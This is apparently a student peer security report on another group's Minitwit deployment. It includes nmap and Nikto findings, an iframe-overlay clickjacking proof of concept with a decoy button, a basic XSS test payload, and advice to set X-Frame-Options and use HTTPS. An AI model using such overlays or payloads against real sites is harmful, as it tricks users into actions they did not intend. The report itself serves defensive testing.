Group E Security Report

We took a look at the following IPs:

46.101.242.210
104.248.141.188
207.154.252.199

We did an nmap scan on each IP to see the open ports. As expected, nothing out of the ordinary on any of them.

We then tried to get some easy wins by doing a Nikto scan, which yielded a few neat but expected insights:

kali@kali:~$ nikto -h http://46.101.242.210/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          46.101.242.210
+ Target Hostname:    46.101.242.210
+ Target Port:        80
+ Start Time:         2020-03-26 13:50:46 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.17.8
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7916 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2020-03-26 13:55:15 (GMT-4) (269 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

The most important thing here is that no X-Frame-Options header is set, which means that we will likely be able to do clickjacking. This means that we could trick the user into performing actions on the page, such as posting tweets or following someone. Read up on it if you need to.

Here is the proof of concept:

<style>
iframe {
        position: absolute;
        height: 800px;
        width: 800px;
        z-index: 1;
        opacity: 0.1;
}

button {
        position: absolute;
        top: 550px; 
        left: 350px;
}

</style>

<iframe src="http://46.101.242.210/#/"></iframe>

<button>Download more RAM</button>

And we can see that it works. If we set the opacity to 0 the login button would be invisible and get clicked when the user downloaded more RAM. Yikes! Make sure to set the X-Frame-Options header correctly.

Another thing we tried was to do an XSS attack. This proved just a little more challenging than normal, as the frontend doesn't actually connect much with the backend. We ended up having to create users and post messages via you old API on 104.248.141.188, which as you know is not the one hooked up to the actual simulator. In the end, it seems that Flutter does some sanitization, as the payload <script>alert(123);</script> did not work.

You also do not use HTTPS, which makes the site vulnerable to MITM attacks.

We would have liked to test more, but most of the features on the frontend isn't hooked up to the backend yet, which makes it hard to attack the server.

LazyOpsDev / Minitwit

Security Report from group D #22

Group E Security Report